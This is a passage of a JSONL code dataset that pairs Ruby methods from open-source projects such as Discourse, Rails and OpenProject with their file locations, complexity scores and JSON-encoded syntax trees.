",\"children\":[\"grouped_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(published_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_reactions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registered_at\"]},{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(registered_at)\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"days_range\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},\"downto\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_posts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comments_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_comments\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reactions_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_reactions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_members_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_range\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_users\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"posts_values\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Comments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"comments_values\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Reactions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactions_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"reactions_values\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"New members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_members_values\"]},\"sum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registered_at\"]},{\"type\":\"lvar\",\"children\":[\"previous_period\"]}]}]}]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"new_members_values\"]}]}]}]}]}","id":"f1805029-3efc-4c41-bea7-dc62ac4a8224"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/clang_style_formatter.rb","start_line":33,"raw_source":"def valid_line?(offense)\n !offense.location.source_line.blank?\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offense\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense\"]},\"location\"]},\"source_line\"]},\"blank?\"]},\"!\"]}]}","id":"fae06962-7a99-44e4-affd-14cb5fea490e"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":103,"raw_source":"def dismiss_topics\n ids =\n Topic\n .where(id: @topic_ids)\n .joins(\n \"LEFT JOIN topic_users ON topic_users.topic_id = topics.id AND topic_users.user_id = #{@user.id}\",\n )\n .where(\"topics.created_at >= ?\", dismiss_topics_since_date)\n .where(\"topic_users.last_read_post_number IS NULL\")\n .order(\"topics.created_at DESC\")\n .limit(SiteSetting.max_new_topics)\n .filter { |t| guardian.can_see?(t) }\n .map(&:id)\n\n if ids.present?\n now = Time.zone.now\n rows = ids.map { |id| { topic_id: id, user_id: @user.id, created_at: now } }\n DismissedTopicUser.insert_all(rows)\n TopicTrackingState.publish_dismiss_new(@user.id, topic_ids: ids.sort)\n end\n\n @changed_ids = ids\n end","complexity_score":42.9,"ast_json":"{\"type\":\"def\",\"children\":[\"dismiss_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@topic_ids\"]}]}]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_users ON topic_users.topic_id = topics.id AND topic_users.user_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"topics.created_at >= ?\"]},{\"type\":\"send\",\"children\":[null,\"dismiss_topics_since_date\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"topic_users.last_read_post_number IS NULL\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"topics.created_at DESC\"]}]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_new_topics\"]}]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_see?\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DismissedTopicUser\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicTrackingState\"]},\"publish_dismiss_new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"sort\"]}]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@changed_ids\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}","id":"cba99a4c-2d22-4a89-b38b-f65af3bafcb0"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/zone.rb","start_line":56,"raw_source":"def find_master_server\n active_miq_servers.detect(&:is_master?)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_master_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_miq_servers\"]},\"detect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_master?\"]}]}]}]}","id":"8a18d487-8395-45b7-a3ca-73865475a80f"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/exports/query_exporter.rb","start_line":38,"raw_source":"def initialize(object, options = {})\n super\n\n @column_objects = get_columns\n @columns = column_objects.map { |c| { name: c.name, caption: c.caption } }\n @work_packages = get_work_packages\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@column_objects\",{\"type\":\"send\",\"children\":[null,\"get_columns\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_objects\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"caption\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@work_packages\",{\"type\":\"send\",\"children\":[null,\"get_work_packages\"]}]}]}]}","id":"b7645ea2-97e1-4dbd-a081-bf403f1de190"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/models/openid_connect/provider.rb","start_line":164,"raw_source":"def redirect_uri\n base_redirect_uri = \"#{Setting.protocol}://#{Setting.host_name}#{OpenProject::Configuration['rails_relative_url_root']}\"\n URI.join(base_redirect_uri, \"/auth/#{slug}/callback\").to_s\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_redirect_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"protocol\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"host_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rails_relative_url_root\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_redirect_uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/auth/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slug\"]}]},{\"type\":\"str\",\"children\":[\"/callback\"]}]}]},\"to_s\"]}]}]}","id":"964f9f16-8c1e-4434-ae3d-0d201b3eec9b"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/services/topic_bookmarkable.rb","start_line":25,"raw_source":"def self.list_query(user, guardian)\n topics = Topic.listable_topics.secured(guardian)\n pms = Topic.private_messages_for_user(user)\n topic_bookmarks =\n user\n .bookmarks_of_type(\"Topic\")\n .joins(\n \"INNER JOIN topics ON topics.id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Topic'\",\n )\n .joins(\"LEFT JOIN topic_users ON topic_users.topic_id = topics.id\")\n .where(\"topic_users.user_id = ?\", user.id)\n guardian.filter_allowed_categories(topic_bookmarks.merge(topics.or(pms)))\n end","complexity_score":16.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"list_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"guardian\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"listable_topics\"]},\"secured\",{\"type\":\"lvar\",\"children\":[\"guardian\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pms\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"private_messages_for_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_bookmarks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"bookmarks_of_type\",{\"type\":\"str\",\"children\":[\"Topic\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"INNER JOIN topics ON topics.id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Topic'\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_users ON topic_users.topic_id = topics.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"topic_users.user_id = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"filter_allowed_categories\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_bookmarks\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"or\",{\"type\":\"lvar\",\"children\":[\"pms\"]}]}]}]}]}]}","id":"1f31e00e-1677-404f-88f1-e34cc526b6b3"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/encrypted/encrypted_command.rb","start_line":88,"raw_source":"def missing_encrypted_configuration_message\n if !encrypted_configuration.key?\n \"Missing '#{key_path}' to decrypt data. See `#{executable(:help)}`\"\n else\n \"File '#{content_path}' does not exist. Use `#{executable(:edit)} #{content_path}` to change that.\"\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_encrypted_configuration_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypted_configuration\"]},\"key?\"]},\"!\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_path\"]}]},{\"type\":\"str\",\"children\":[\"' to decrypt data. See `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executable\",{\"type\":\"sym\",\"children\":[\"help\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]}]},{\"type\":\"str\",\"children\":[\"' does not exist. Use `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executable\",{\"type\":\"sym\",\"children\":[\"edit\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]}]},{\"type\":\"str\",\"children\":[\"` to change that.\"]}]}]}]}","id":"a61a3668-a6b3-4d72-88e3-8899cd80180a"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_modifier_set.rb","start_line":68,"raw_source":"def topic_thumbnail_sizes=(val)\n return write_attribute(:topic_thumbnail_sizes, val) if val.nil?\n return write_attribute(:topic_thumbnail_sizes, val) if !val.is_a?(Array)\n if !val.all? { |v| v.is_a?(Array) && v.length == 2 }\n return write_attribute(:topic_thumbnail_sizes, val)\n end\n\n super(val.map { |dim| \"#{dim[0]}x#{dim[1]}\" })\n end","complexity_score":24.53,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_thumbnail_sizes=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"topic_thumbnail_sizes\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"topic_thumbnail_sizes\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"topic_thumbnail_sizes\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dim\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dim\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dim\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"e7dffcb1-ce39-41c1-bd8b-0a7b6198d338"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/form_templates_controller.rb","start_line":55,"raw_source":"def update\n template = FormTemplate.find(params[:id])\n\n begin\n template.update!(name: params[:name], template: params[:template])\n render_serialized(template, AdminFormTemplateSerializer, root: \"form_template\")\n rescue FormTemplate::NotAllowed => err\n render_json_error(err.message)\n end\n end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"const\",\"children\":[null,\"AdminFormTemplateSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"form_template\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"NotAllowed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]},null]}]}]}]}","id":"f6582b2b-722b-4850-ad55-edbaf3a37db5"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":52,"raw_source":"def test_migration_does_remove_unnamed_index\n connection.add_index :testings, :bar\n\n migration = Class.new(ActiveRecord::Migration[4.2]) {\n def version; 101 end\n def migrate(x)\n remove_index :testings, :bar\n end\n }.new\n\n assert connection.index_exists?(:testings, :bar)\n ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n assert_not connection.index_exists?(:testings, :bar)\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migration_does_remove_unnamed_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[4.2]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[101]}]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\